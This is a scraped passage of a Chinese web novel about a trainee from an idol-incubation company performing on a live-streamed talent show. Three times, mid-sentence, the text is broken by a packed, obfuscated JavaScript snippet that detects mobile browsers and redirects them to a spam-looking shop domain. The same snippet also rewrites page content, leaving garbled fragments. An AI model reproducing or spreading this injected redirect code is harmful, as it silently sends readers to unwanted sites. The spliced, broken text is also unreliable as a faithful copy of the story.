虽然相信科学,不搞封建迷信,但大家也不想自找晦气。 于是今年《星光熠熠》,这个象征着第一的位置,就被大家默契的忽视了。 直到从安这个丝毫不懂选秀梗的养成系出现,心里怀揣着对未来的期盼与目标,稳稳地坐了上去。 坐在下面的练习生们对视一眼,不知是感叹从安的自信,还是感叹从安的勇气,又或者是抱着想看‘第一魔咒’乐子的心情,总之大家纷纷鼓掌欢呼。 大大的演播厅瞬间热闹了起来。 拍摄的摄像师们立刻拉进镜头,把镜头对准了好几人的面庞。 之前三十多个人的选座,每个练习生的表情,应对,寒暄等都十分完美,只能说这么多年选秀下来,不止是观众,选手们也深谙选秀套路,知道该说什么话不该说什么话,刚才的那些环节里,大家表现得那叫一个好,各个笑容满面互相拥抱,不知道的还以为是异父异母的亲兄弟。 好得太假了。 反倒是现在,大家一起欢呼鼓掌,练习生们的脸上才看见了一些真实的快乐。 现在不拍,更待何时? 弹幕里一堆对从安选择了第一这个位置的惊讶自是不提,见画面切到其他练习生鼓掌的笑脸,顿时又是一连串的刷屏。 介绍自担练习生的,拉票的,喊宝宝的,好不热闹。 但没热闹多久,直播时间宝贵,镜头很快切走,放起下一个人自评级的画面。 一百名练习生的自评级足足持续了四个小时,可把蹲守直播的观众累得够呛。 刚开始的时候她们还有心情仔细看,但随着看得人越来越多,每个人都是一样的流程,类似的话,很快就让她们厌倦了,就算偶尔来两个乐子,也没让她们提起更多的兴致来。 于是纷纷离开直播间。 但直播间一直开着,有人走就有人来。 观众来来去去,始终维持着十几万的数字,杜唐从后台看到了,并没有太意外。 早上的自评级确实无聊,人不多也是应该的,现在观众们对练习生还陌生,也还没有那么多爱,自然也不会为了自担忍受数个小时的无聊直播。 要知道自评级是什么环节?是录能录半天,但最后节目里播出,能播十分钟都算谢天谢地的环节。 练习生们亮相的高潮,那是下午的初舞台。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760481|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>直播暂时结束,拍摄也告一段落,练习生们在工作人员的带领下去吃饭修整。 很快,一个小时的休息时间结束,直播间再次开放。 一如杜唐的预料,这次直播间一开,涌进来的观众就比早上直播间开放时多了不少。 等了一会儿,观众数还在源源不断的上涨,丝毫没有慢下来的趋势。 经过一个早上的发酵和热搜,现在广大观众们都知道了本季《星光熠熠》是直播的模式。 再上网一搜,发现今天下午就是最热闹的初舞台。 顿时,一传二二传四一个传一个,更多的人都知道了这个消息。 等莫烟的身影出现在画面中的时候,直播间观众的人数更是来到了二十多万,已经比上午直播间观众数稳定后的人数还要高了。 而现在,不过是下午直播刚开始的时刻。 还远没有到最高潮的时候。 杜唐满意颔首,不再盯着数据,开始专心看起节目画面。 练习生们早早地就在座位上坐好了。 经过一个上午的录制,现在一百个座位都各有其主。 从安现在已经不在第一的位置了,坐到了第六十二位。 在他坐上第一的位置后没多久,后面进来的练习生一看第一的位置已经有人,‘第一魔咒’也落不到他们头上,一颗心顿时就蠢蠢欲动起来。 有些胆子小的想了想就算了,有些胆子大的,或者想要做节目效果的,又或者真的对第一这个位子有想法的,纷纷都对从安发起了挑战。 经过石头剪刀布、掰手腕、飙高音、做高难度舞蹈动作等挑战之后,从安也是没能守住第一的宝座,在一个石头剪刀布的比拼中败下阵来。 当时场上的座椅已经被坐了大半,从安也没纠结,就去了一个靠近边缘,比较方便进出的座位。 不然在这么多人里面,去坐人群之中的位置,走起来也怪不舒服的。 坐在角落就很好,就像上午录制结束,他可是轻轻松松就出了座位,然后前几个就到达了食堂。 没有那么多练习生排队,他得以很快地打好饭菜,然后迅速解决了午餐,还去化妆间补了妆,甚至简单睡了一个午觉。 等他午觉睡完了,到了集合的时间,回到演播厅,也是十分轻松地就回到了自己的座位。 毕竟只需要顺着边缘的楼梯上去,再越过第六十一名,就能坐在六十二的位置上。 现在眼看录制又要开始,从安左看看,右看看,再上看看下看看,觉得自己这个位置真不错。 像他一样东张西望的人还不少,经过一个上午,许多人之间已经熟悉了不少,现在坐在一起难免互相说说话。 不过等工作人员出来说录制开始之后,顿时,所有人都安静了下来。 正襟危坐,抬头挺胸,每一个人都拿出了自己最好的状态。 虽然不知道拍摄的镜头在哪里,但大家都控制着自己的表情,试图在镜头里展现自己最好的一面。 就在所有人的严阵以待中,伴随着脚步声,莫烟的身影从一片黑暗中出现,站在了舞台唯一的灯光下。 5. 第 5 章 “各位练习生们,大家下午好。”莫烟拿着话筒盈盈微笑,甜美的嗓音透过音响,响彻整个演播厅,而坐在座位上的练习生们,也迅速激动了起来。 莫烟! 居然是莫烟! 他们居然能如此近距离地看到莫烟! 要知道莫烟可是现在最当红的女星之一,以其甜美的外表吸引了无数粉丝,是无数人心中的女神。 有练习生捂着心口一脸激动。 “啊啊啊啊莫烟女神!”他紧紧地抓着身边练习生的胳膊,眼睛一眨不眨地盯着台下:“我的天啊,女神真的好美,我就算现在就淘汰也值了!” 被他抓着的练习生赞同点头的动作猛然一僵,但顾忌着周围无数不在的摄像机,什么话也没说,只反手也抓了回去,口里发出无意义的激动欢呼,看起来一脸热情,实际上心里猛翻白眼。 好不容易才进了这个节目,谁想只看个莫烟就回家? 他还想出道呢。 以后这个人还是少和他说话吧。 练习生们激动了好一会儿,然后莫烟才双手下压,做了个安静的手势,接着拿出手卡,继续开口。 “欢迎各位来到《星光熠熠》第七季,我是男团发起人莫烟。” 莫烟的台词功底很好,举着话筒,毫无迟滞地念完了一大串开场白,并介绍完了节目的一连串赞助商,练习生们激动的心情也在莫烟悦耳的嗓音中和缓下来,但很快,大家的心又高高提起。 “接下来,就让我们欢迎本季的导师们!” 说完,台下迅速响起了低低的讨论声。 “今年的导师有谁?”有人问身边的练习生。 “我看有人说有晏尔。”有的练习生说出自己听到的消息。 直播间的弹幕也迅速刷了起来。 【说起来今年的导师都还没公布是吧?】 【好奇怪啊,往年不是早早就公布了吗】 【别说导师了,今年练习生名单也是昨天才公布的】 【今年一直都在保密】 【根据小道消息,今年的导师有晏尔和茅安康】 【小道消息哪里来的?】 【他们的粉丝根据自担的行程扒出来的】 【不过没想到今年的发起人居然会是莫烟】 从安对今年的导师会有哪些真是一点都没思路。 毕竟他刚走出高考考场,就被抓到了公司,然后火速被拉到了节目里。 时间之紧凑,让他只来得及给自己准备了一个初舞台节目。 其他的诸如了解选秀规则,学习选秀套路,去搜索同样参加节目的其他练习生资料……这些事情他都没来得及做,但他没想到自己居然听见了两个熟悉的名字。 晏尔和茅安康。 练习生们的讨论没有持续多久,莫烟很快开始介绍,并在她的介绍下,对应的导师也一一走了出来。 首先是rap导师:布鲁。 正当红的新生代rapper之一,以其可爱的外貌和反差感的烟嗓,在粉丝中有着甜心厚嗓的称号,以一手格外优美的写词能力,获得了无数女粉的喜爱。 接着是舞蹈导师:厍贝。 知名编舞师,也是《星光熠熠》节目组合作多年的编舞师,给许多当红组合编过舞蹈,过去几年的节目中,他也曾编过不少舞台,没想到今年他也成为了导师之一。 下一个舞蹈导师:茅安康。 四十出头的茅安康比前两名导师从年纪上而言大了一些,但在场的练习生们却没有一个人怀疑他的实力。 十七岁时以男团身份出道的茅安康,有长达十五年的跟团经验,从男团上而言,他完全有教导在场所有练习生的资格。 虽然茅安康的唱歌实力不是团里最好的,舞蹈实力也不是团里最好的,甚至rap实力也平平,但组合当中,并不是每个人都一定要非常突出。 能在一个曾经达到顶流水平的组合中占据不小的声量,绝不是表面平平的实力能做到的。 从另一个层面来说,茅安康,怎么不算全能ACE呢? 接着出场的,是声乐导师。 晏尔和伊宾白。 晏尔,现在知名实力唱将之一,出了名的天赋怪,且努力。 伊宾白,《星光熠熠》第五季成团选手,第五名出道,组合限定合约到期后,以个人歌手的身份发展,现在也取得了不小的成绩。 五名导师全部亮相,在位于练习生们最前方的座椅上坐下,面对着舞台。 而弹幕也早就讨论开了。 【今年的导师阵容看起来一般啊,都没什么大咖】 【导师需要什么大咖?有实力不就行了,这些人实力不都挺好的吗】 【没想到伊宾白居然回来当导师了,他的实力不够吧】 【伊宾白的实力还不够吗?你当星光熠熠唯一全能大主唱这是句玩笑话吗?】 【哇晏尔也来了,晏尔唱歌好听】 莫烟没有多耽搁,等导师们坐好之后,她迅速推进下一个环节。 “初舞台表演!” 莫烟退场,舞台留给练习生。 茅安康拿起话筒,抬头看向身后的一众练习生。 “谁想第一个上?” 练习生们讨论的声音停下,在茅安康的问话中开始思考起来。 初舞台表演,对练习生而言,是他们在镜头前的第一次亮相,也是观众们对他们的第一印象,十分重要。 对观众而言,是她们看节目时第一个精彩开始的部分,对导师而言,是他们精力最充足期待值最高的时刻,对其他观看的练习生而言,是他们好奇心最旺盛的时刻。 第一个上场的练习生,不仅要承担自己的重担,也要面对无数目光的评判。 这个第一的位次,并不好拿。 五名导师在茅安康开口的时候,就都转过了头,他们兴致勃勃地看着练习生们,期待着第一位上场表演的人。 弹幕里也迅速刷起了一个个名字。 而很快,茅安康话音刚落,一百名练习生中,就有人站了起来。 众人迅速看了过去。 有些意外但又有些不意外。 是那名第一个坐在1号座位上的练习生。 从安起身,在目光和台下导师们对上的瞬间,脸上露出一抹笑容。 弹幕也迅速刷了起来。 【啊啊啊啊从安】 【从安加油!】 【从安你最棒!】 除了粉丝们的刷屏之外,还有一连串的疑问。 【这人是谁?】 【这个人看起来好陌生】 【他是从安吗?怎么那么多人刷这个名字】 【从安是谁】 这些人没看早上的直播,只是刷到了节目开播的消息,下午趁着有空赶过来看的,看到陌生却好像有很多粉丝的练习生,不由得摸不到头脑。 而弹幕很快就开始解释了起来。 不一会儿,观众们就迅速知道了从安是养成系的一名练习生。 久闻养成系的大名,但却从未深入了解过的秀粉们,纷纷产生了好奇心,不由得仔细看起了节目。 而直播画面里,第一个站起来的从安,获得了第一个上台表演的机会。 其他几名比从安稍慢一步的练习生遗憾地坐了回去。 在所有人的注视下,从安走上舞台,随后有工作人员上来给他调整话筒与耳返,很快,准备环节结束。 从安轻呼一口气,缓解内心的紧张,拿起话筒开始说话。 “各位导师好,我是——” “稍等一下。”茅安康抬手打断了从安的自我介绍,他回头看向剩下的九十九名练习生,开口道:“今年的规则有些不一样。” 他嘴角带笑:“在初舞台结束之前,所有练习生都不会有自我介绍。” “也就是说,我们现在,包括之后看节目的观众们,现在都不了解你们。” “而我们和她们,了解你们的唯一途径,就是你们即将呈现的舞台。” “没有公司,没有背景,没有任何其他因素,在这个舞台上,我们只靠实力说话。” 随着茅安康的介绍,演播厅内顿时响起了窃窃私语的声音。 “居然没有自我介绍!” “怪不得我们的名牌上没有写所属公司。” “哇,那我们不就不知道谁是哪家公司的了?” 有的人一脸兴奋,左看右看,有的人虽然笑着,但眼里不断有担忧的神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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过去三天,他在练习室把这首歌这支舞跳了一遍又一遍,曾经融入骨髓的东西,在这三天被一点点唤醒。 音乐渐响,节奏渐急,在猛然一个高潮之后,一切突然停下。 片刻的停息。 从安仰头,直视头顶刺目的灯光。 他伸出手。 “谁能伸手 save me now? 从梦想的废墟打捞起我” 不是华丽的高音,只是低沉的呢喃,舞台上的人缓缓低头,在情绪跌落谷底的时候,他猛然抬头,露出了一双乌黑的双眸。 “当身份被重新定义 我要亲手 save me now!” 初舞台的时间很短,只有一分三十秒,练习生们还没反应过来,从安的表演就结束了。 看到台上的人久久没有动作,才有人反应过来,这首歌到这里就为止了。 掌声响起。 伴着掌声,有练习生忍不住和身边的人低声开口:“你觉得怎么样?” 他的同伴皱着眉,一脸凝重:“感觉有点奇怪,看起来有基础的样子,但又有一些违和,唱歌的气息不够,身体的控制力也不足,但是唱歌的技巧却很好,舞蹈的节奏和舞感也不像初学者……” 台上的练习生十分陌生,在过去几个月网上传言的各种练习生名单中他都未见过。 但广大的练习生群体,能被大众认识的练习生本就屈指可数,多的是毫无声量和素人没有任何差别的练习生。 陌生,并不让人意外。 他感到意外的,是台上这名练习生身上透露出的违和感。 娴熟又迟滞。 看起来经验丰富,但又好像十分生疏。 听完他的分析,问话的练习生更茫然了,他眨眨眼,换了个问话:“那你觉得他会是什么等级?” 他的同伴这回很快有了结果,笃定开口:“B。” 而在掌声渐渐平息的时候,从安已经平复了呼吸,鞠躬之后,重新调整好了自己的状态,拿着话筒,等待导师们的点评。 晏尔的声音最先响了起来:“从安,你退步了。” 6. 第 6 章 退步了? 什么意思? 练习生们的目光瞬间落到了舞台的从安身上。 听晏尔这话的意思,难不成她以前认识这个在舞台上表演的练习生吗? 练习生们心里闪过无数猜测,但表情依旧十分完美。 适时的好奇和疑惑,所有人把目光聚焦到了从安身上。 直播间里的弹幕也纷纷刷了起来。 【???什么意思?这是认识?】 【导师认识练习生?认真的吗?】 【不是,晏尔你怎么知道这个练习生退步了?】 【有后台?】 但在众多的疑问之中,很快有人开始解释。 【不是不是,之前晏尔和从安参加过同一个节目!】 而在舞台上,面对晏尔的评语,从安毫不迟疑地点头。 “是的,最近确实缺乏练习。” 晏尔说从安退步了,并不是想批评,听见从安的回答,她轻声开口:“如果我没记错的话,你刚刚高考结束是吧。” “对的。” 霎时,练习生们维持地很好的表情,终于有人忍不住出现了变化。 不是,晏尔不仅认识从安,甚至还知道他刚刚高考结束? 不是说导师那里没有练习生的资料吗? 要等表演结束了,资料才会发布到他们面前的平板上。 现在是怎么回事? 还没介绍,晏尔就对练习生如此了解? 这合理吗? 这算什么? 资源咖? 他们这些练习生辛辛苦苦来到这个节目图的是什么?不就是占据更多的镜头,让更多的人认识他们,记住他们,获得人气出道吗? 怎么现在舞台上的人,就已经有导师认识他了? 练习生们心里的念头百转千回,他们看向从安的目光顿时变了。 尽管还不知道他究竟是谁,但能认识晏尔,甚至晏尔还如此了解他的近况,毫无疑问,这个练习生,将会是他们出道的劲敌! 面对晏尔透露出的熟稔态度,从安挠挠头,笑得很羞涩。 而晏尔也没再多说,只是示意从安开始自我介绍。 顿时,演播厅内仅存的私语声也停了,所有人的目光都落在了从安身上。 面对如此多人的注视,从安状态没有丝毫不适,他泰然自若地举起话筒,开始了自我介绍。 “大家好,我叫从安,今年十八岁,练习时长——八年。” 这个数字一出,在场不少人都惊讶起来。 八年!这么大的一个数字! 在座的虽然都是致力于偶像事业的练习生,但绝大部分人的练习时长,都不超过五年。 毕竟每隔两年就有一次男团选秀,但凡有点想出道想法的,在练习了一两年之后,就能等到一次选秀去参加。 能出道自然是最好,如果不能出道,也能根据自己在节目中的排名,判断自己究竟能不能在这一行发展下去。 及时止损。 而不是一年拖一年,始终在这个毫无未来的行业中浮沉。 所以八年的练习时长,实在是一个太长太长的时间,长到比在场很多人萌生出成为爱豆这个念头的时间还长。 舞台上从安的自我介绍还在继续。 “我的所属公司是明辉娱乐。” ! 这回,所有练习生都惊讶了起来。 不再是为了节目效果和镜头的故作惊讶,而是真真正正发自内心的惊讶。 明辉娱乐! 那个成立二十多年,已经推出了五个男子组合的养成系公司,明辉娱乐?! 听到这个名字,有人盯着从安的脸,猛然想起了什么。 “啊!这个从安是五代的练习生!”去年养成系五代的出道综搞得如火如荼,他也曾在首页刷到过相关消息,看到过这个名字和这张脸,只是一年过去,那时的短暂认知,早就被他抛在了脑后。 看见有人认识,旁边的几名练习生顿时围了过来,好奇地提问。 “你认识他?” “他是谁?” “那他是养成系?怎么会来选秀?” 面对周围数人好奇的双眼,这人从脑海中翻找,找出了更多的东西。 “去年他们出道战不是很火嘛,所以我看了两眼,如果我没记错的话,这个从安应该是没出道。” “后来节目播完,他们五代成团,我就没再多关注了。” “没想到他居然来参加选秀了。” “而且——”他看了一眼坐在导师席的晏尔:“他们五代的出道综,晏尔好像也是导师。” 此话一出,众人一脸恍然大悟,所有的疑问都得到了解答。 怪不得晏尔认识从安,原来是去年就当过对方的导师。 而在练习生们讨论的时候,舞台大屏上,也出现了从安所属公司的介绍。 随着明辉娱乐过去推出的一个个男团出现在屏幕上,练习生们也发出一阵阵惊呼。 大屏里的那一张张脸,在场的绝大部分练习生都十分熟悉,都是过去这些年,占据娱乐圈中流砥柱的男团,拥有无数粉丝。 在他们大部分练习生眼里,明辉娱乐毫无疑问是他们无法触及的大公司,而这些在大屏上出现的面庞,更是他们想都不敢想的大前辈。 而且由于模式的不同,他们这些练习生在练习时期默默无闻,等待出道就像在等待一场梦,但养成系从一公开,就有无数曝光,多年累月,能积攒无数粉丝。 哪怕没成团,也能在娱乐圈出道,在公司的无数资源投入下发展。 而现在,这个大公司的拥有无数粉丝的练习生,居然跑来和他们参加同一个节目了? 有人恍然,有人惊讶,有人羡慕,还有人用脸上的微笑,藏起了自己眼底的嫉妒。 大屏上明辉娱乐的介绍视频不断播放,随着一个个名字的出现,演播厅内响起一阵接一阵的惊呼,现场气氛顿时变得火热,大家再次看向从安,人还是那个人,但他的身上仿佛也随着这一个个名字,出现了一道道光环。 大家此刻顿时明白了节目组不提前让练习生自我介绍的原因。 如果提前知道练习生们的身份,面对大公司的练习生,他们难免会抱有期望,而面对小公司的练习生,又不由得会有些轻视。 只有在一无所知的情况下,他们才能毫无滤镜地去看这个人,去看他呈现出来的舞台。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760483|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是像现在这样,再看舞台上的从安,他们的心绪再也不像之前的平静了。 茅安康举起了话筒:“我们现在已经看到了你的资料,所以你是一名养成系练习生?” 从安:“是的。” 茅安康:“那作为养成系练习生,你为什么要来参加选秀呢?” 茅安康的的问题一出,众多练习生们也竖起了耳朵,这也是他们好奇的问题。 选秀虽然一直都在办,但每一次选秀能不能火也是个玄学。 《星光熠熠》办到第七季,其中三、四、五这三季播放都很一般,最后出道的团在娱乐圈也没什么声量,在合约到期后,那些出道成员们,更是各奔东西,还在娱乐圈发展的成员,一只手都数得过来。 有练习生参加节目之前还在网上刷到过,他小时候看节目十分喜欢的一名选手,现在已经成了一名网络主播,每天深夜在直播间打PK,感谢各位大哥大姐的支持。 他当时看了很久很久,在犹豫自己还要不要来参加选秀。 来参加选秀,好像是在追逐一场虚幻的梦,不来参加选秀,又心有不甘。 每个人都不愿相信自己就是糟糕的那个,他们总会想,万一呢,万一就是自己呢?万一今年的《星光熠熠》也像第六季一样大爆,最后的出道团很红,那他们是不是就能在组合到期后,依然在娱乐圈拥有一席之地? 但想归这么想,在场所有人都知道,参加选秀赌的依然是一个不确定的未来。 谁也不敢保证这季节目能红,也不敢保证自己能出道,更不敢保证出道团能在这个竞争激烈的娱乐圈,拥有自己的一席之地。 成,则前途无忧。 败,多年努力付诸东流。 除了那些大公司、来镀金的练习生之外,这场选秀,将会是在场绝大部分练习生人生中最耀眼的时刻,没有之一。 但对于从安,对于这名养成系的练习生而言,却完全不是这样! 他不仅是大公司出身,还拥有无数粉丝,甚至还有娱乐圈人脉!没看晏尔导师都认识他吗! 他完全不用来参加选秀,他只需要按照公司的安排,就能平平安安地在娱乐圈出道。 就算不会大红大紫,但也不会愁通告。 毕竟明辉娱乐有那么多资源,总是能把旗下的艺人塞进各个项目的角落。 这样的人为什么还要来赌一个不确定? 为什么还要来和他们抢夺宝贵的出道位? 从安感受到落在自己身上情绪各异的目光,他毫不在意地抬头看向茅安康。 露出了笑容。 这个笑容很乖,配上从安圆圆的脸蛋和双眼,更是显得乖巧可爱。 和茅安康记忆中去年见到从安时一样。 但现在他看着这个笑容,又觉得从安变了。 去年他在节目里看见从安,对方如此笑时,他看到的是从安眼里对未来的期盼,向往,紧张,天真。 而现在,在这些东西之外,他还看到了别的东西。 是一抹毫不迟疑的坚定和勇气。 从安任凭各种目光的打量,他开口说出了自己来到这里的答案。 “因为我想继续站在舞台上,为支持我的人们表演。” 7. 第 7 章 闻言,茅安康脸上浮现出些许笑容。 他和晏尔对视一眼,对方微微颔首,茅安康便明白了她的意思。 从安表演结束的时候,他们几个人之间就互相交流过了,关于对从安实力的评级,各自之间也有了想法。 但对茅安康和晏尔来说,这个评级却没那么好决定。 倒不是因为有私心,而是因为不能给太高的分数。 从安是第一个出来表演的练习生,按照往年的惯例,为了给后续表演的练习生打样,通常来讲,第一次的评分都不会太严苛。 但他们二人毕竟和从安有些渊源,在从安的上一个节目里面当过他的导师,如果他们的打分较高,那肯定会有评价说他们二人不公正。 这样一个打分阶段,他们实在没必要给自己安上一个这样的名头。 所以压一压分是最好的。 只是茅安康虽然想把自己摘出去,但也不是想要打压从安。 对方很久没露面,来参加选秀,想必也是思考了很久。 面对这群追梦的少年,曾经也从这个年纪过来的茅安康,总是忍不住想对他们更宽容一些。 而刚才的对话,也让茅安康和晏尔明了了从安的想法。 让他们知道自己手里的评级,就是对从安最好的回应。 导师们在低声讨论,从安一脸平静地站在舞台上,不像在等待自己的初舞台成绩,没有半分紧张和忐忑,甚至还十分闲适地和镜头、以及台上的练习生们打招呼,四目相对的时候,还会露出笑容。 眉眼弯弯,感染力十足。 直播间里被分割成了四块画面,一块是导师们的镜头,一块是从安的镜头,两块是练习生们的镜头。 为了制造悬念,导师部分的声音没有放出来,只有练习生的声音放了出来,随着导师们的讨论,练习生之间也在猜测。 第一位出场的从安,究竟能拿到怎样的评级? “B吧?毕竟是第一个出场的,而且还是明辉娱乐的……” “B吗?应该不会这么低吧?我感觉他这首歌还挺好听的,唱得也不错,跳得也好看,整个舞台很完整,而且感情很充沛,我觉得可以拿A。” “导师们怎么讨论了这么久?是A吗?难道首A这就要出来了?” 练习生们猜测着从安的成绩,直播间的观众们也没同样如此。 弹幕里一个个字母飘过,终于,茅安康拿起了话筒。 最后一名练习生的声音响了起来。 “C班。” 随着他的话音,直播间里导师的屏幕放大,画面直直对着说话的茅安康。 “……所以,你最后的评级是——C。” 画面切换,落到从安脸上。 从安表情没有丝毫变化,好像早就预料到了这个结果,他鞠躬道谢。 “谢谢老师们。” 茅安康接着采访:“我看到你对自己的评级是A,但现在你只拿到了C,你是什么想法?” 从安毫不迟疑地开口:“我不是只拿到了C,我是暂时拿到了C,正如我给自己贴上A级标签的时候说的那样,在我心里,A是成团出道的必要条件,是我的目标,我想成团,所以我给自己贴了A。” “我现在虽然不是A,但我知道,在接下来的时间里,我一定会达到A的。” 少年的语气充满自信与坚定,让人毫不怀疑他的决心。 闻言,五名导师都露出笑容,鼓起了掌。 接着,导师们又各自简单评价了一下从安刚才的表演之后,从安的初舞台表演就算是彻底结束了。 走下灯光明亮的舞台,站在对比之下显得有些幽暗的台阶上,从安松了一口气。 说不紧张是假的,虽然曾经站上过更大的舞台,但时隔一年,再次面对镜头,面对这么多人表演,而且台下还不是粉丝,而是和他一起参加节目的选手,还有那么多实力不俗的前辈们,从安的心跳得都快蹦出来了。 只能说他实在是习惯了这种在舞台上的紧张感。 所以紧张不会让他害怕,不会让他失误,只会更让他清楚地知道自己在做什么。 C极的成绩不算好,但从安并不失落。 他已经有小半年没有练习过了,虽然这次表演的是自己的歌,但努力不会骗人,他三天的突击,无法掩盖之前半年落下的练习。 这半年来没有控制饮食,体重上涨,缺乏锻炼。 所以身体控制、气息稳定这些都变得很差。 虽然李强说这个节目来的时间不巧,但从安却反而觉得时间刚好。 身体忘记了以前的一切,在这个节目里得以再次打磨,重新开始,再次朝着他理想中的那条路进发,这不是刚好吗? 从安回到自己的座位上时,第二名表演的练习生已经站上了舞台。 和从安的流程一样,他简单地准备了一下,没有自我介绍,在音乐响起后,就直接开始了表演。 但这一次的表演,却和从安截然不同,在这名练习生站上舞台的那一刻起,就吸引了众多练习生的目光。 只因站在台下的,是练习生师启! 音乐响,从安低头看了过去。 舞台上的练习生做了十分完整的造型。 蓬松有型的头发,精致的妆容,还有成熟性感的服装。 黑色真丝衬衫和黑色西裤,完美地展现出了对方高挑的身材,还隐隐勾勒出了服装之下紧致有型的肌肉。 十分吸睛。 他刚摆出一个动作,练习生之间就响起了一阵接一阵的惊呼。 从安也没忍住把台上之人从头到脚看了一遍,又转回去又看了一遍。 爱美之心人皆有之,更别提这个人的身材还是他理想中的身材。 瘦却不骨感,高却不失力量。 是上镜之后正正好的体形,简直完美。 如果不是想着在录节目,从安差点口水都流出来了。 他不敢想,要维持这样的身材,得付出多少的努力。 仿佛是为了印证从安所想的努力,伴着音乐节奏,师启做出了第一个舞蹈动作。 在场的都不是门外汉,只一个动作,他们就从中感受到了师启的实力。 进场的时机,抬眼的神色,垂下的双手,哪怕并此刻并看不清对方的脸,但帅气从来就是一种感觉,现在这种感觉正淋漓尽致地洒在舞台上。 从安看完都忍不住有些怀疑自己 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“是的。”师启点头,“我之前在国外的一家公司,练习了五年的时间,后来因为一些意外,没能出道,所以今年回国了。” 三言两语说完,师启的自我介绍环节仿佛就结束了,导师们开始分别点评起师启刚才的表现,但台下练习生之间却激动起来。 从安听了几耳朵,才明白了什么。 师启刚才虽然说得简单,但师启在海外也是大公司的练习生,五年练习,实力突出,参演过公司内前辈的MV,也站上过公司演唱会的舞台,以其优越的外貌,不俗的实力,从被观众发现的那一天起,就一直有天才练习生的称号,更是无数海外练习生心中的偶像。 虽然还没出道,却吸引了不少粉丝。 前年那个公司传出要推新团的消息,所有人都以为师启板上钉钉一定会出道,他的粉丝们更是早早地就开始准备,只等着给师启一场最好的出道应援。 谁知这一等就是大半年。 经过半年预热,去年初该公司新团终于推出,但里面的成员却没有师启。 谁也不知道发生了什么,毕竟在那半年的预热时间里,所有的小道消息都在说师启一定会出道,从公司对师启的培养来看,也想不到师启会不出道的理由。 但师启就是没出道。 所有粉丝都震惊了。 粉丝们想维权,想讨一个说法。 但师启只是一个没出道的练习生,公司又何须给粉丝一个所谓的说法?根本不需要。 大公司的傲慢在此刻体现得淋漓尽致。 推出的新团在公司的运作下迅速吸引了无数粉丝,半年过去,已然有新生代最佳男团的架势,而师启这个曾经的天才练习生,已经越来越少人提起。 只有同在海外练习的国内练习生,才能偶尔得知师启好像和公司闹了大矛盾,没有再练习了。 不知道去了哪里,也不知道还会不会当练习生,会不会继续当爱豆。 而此刻能在这个舞台上看见师启,其他练习生感触可能不深,但他们这些同样从海外回来的练习生,却百感交集。 8.第 8 章 随着直播的进行,直播间的热度也越来越高。 从导师们出场开始,到从安的初舞台表演,再到现在师启表演,一次又一次地吸引了许多关注。 无论是导师阵容,还是从安养成系的身份,又或是师启海外练习生的经历……每一个都是不小的话题。 在直播间之外的各大平台上,讨论也层出不穷,热搜更是上了一个接一个。 挂得最高的,赫然写着从安的名字。 【养成系居然真的来选秀了?明辉娱乐也舍得?】 【啊……这个养成系的实力……该说果然是养成系吗?并不意外呢】 【不是,这也能当练习生吗?养成系吃这么差?】 …… 【晏尔怎么这么了解这个养成系?难不成是资源咖?】 【不是,就这实力还想出道?这么普通却这么自信……这种没来由的信心能不能分我一点】 【看完了初舞台视频,我真觉得我上我也行】 【出道?谁?谁在说想出道?唱得这么难听跳得这么幽默脸还圆得跟球一样这也想出道呢?这个世界对男的还是太仁慈了】 【欢迎大家了解练习生从安![链接]八年练习,超绝能量,未来可期!】 【练习了八年都没能出道,还未来可期呢?好搞笑】 从安的相关热搜下面,挂着从安初舞台的表演视频,有些动作快的营销号,还把他上午的自评级视频,以及表演结束后的自我介绍视频也剪辑了出来放在一起,现在跟在初舞台后面,引起了广泛的讨论。 养成系本就名头不小,经过二十多年的发展,推出了五代男团的明辉娱乐,追星女们哪怕是不追养成系,也难免会在各个节目或不同的角落听见有关养成系的话题,又或是见到那么几个关于养成系的人。 只是对广大的追星女而言,如果不是专门深入去了解,除了那些出道组合,正在养成的练习生们,她们确实是了解不多,甚至是没有了解的。 现在突然在她们面前冒出来一个,难免好奇,进去一看,然后大失所望。 不免觉得有些可笑。 知道养成系实力差,结果养成系实力居然这么差?就这还想出道呢?还给自己自评级A?哪里来的自信? 她们不解且震惊,然后纷纷留下自己的评论。 看到这些评论的伊霜皱着眉,心情难过极了。 中午下课拿出手机,在热搜上看见从安参加选秀的激动还残留在心里,到了现在,只余担忧和心疼。 作为从安一公开就一路追过来的粉丝,伊霜直到现在都不敢回忆去年成团夜从安站在舞台上的眼泪。 一条不长的通道,一边是成团的鲜花与掌声,一边是失败的落寞与泪水。 就这样分隔开了两个世界。 成团夜结束之后,五代团迅速推出并如火如荼开展了一系列工作。 而未成团的其他练习生,则毫无声息地回了家。 没有粉丝知道他们后续的安排,是会继续留在公司当一名练习生,还是会就此离开娱乐圈,回归普通人的生活? 伊霜揣着一颗心,忐忑地等了很久。 她既想从安离开这个给他带来太多痛苦的娱乐圈,又舍不得从安站在舞台上明媚的笑脸。 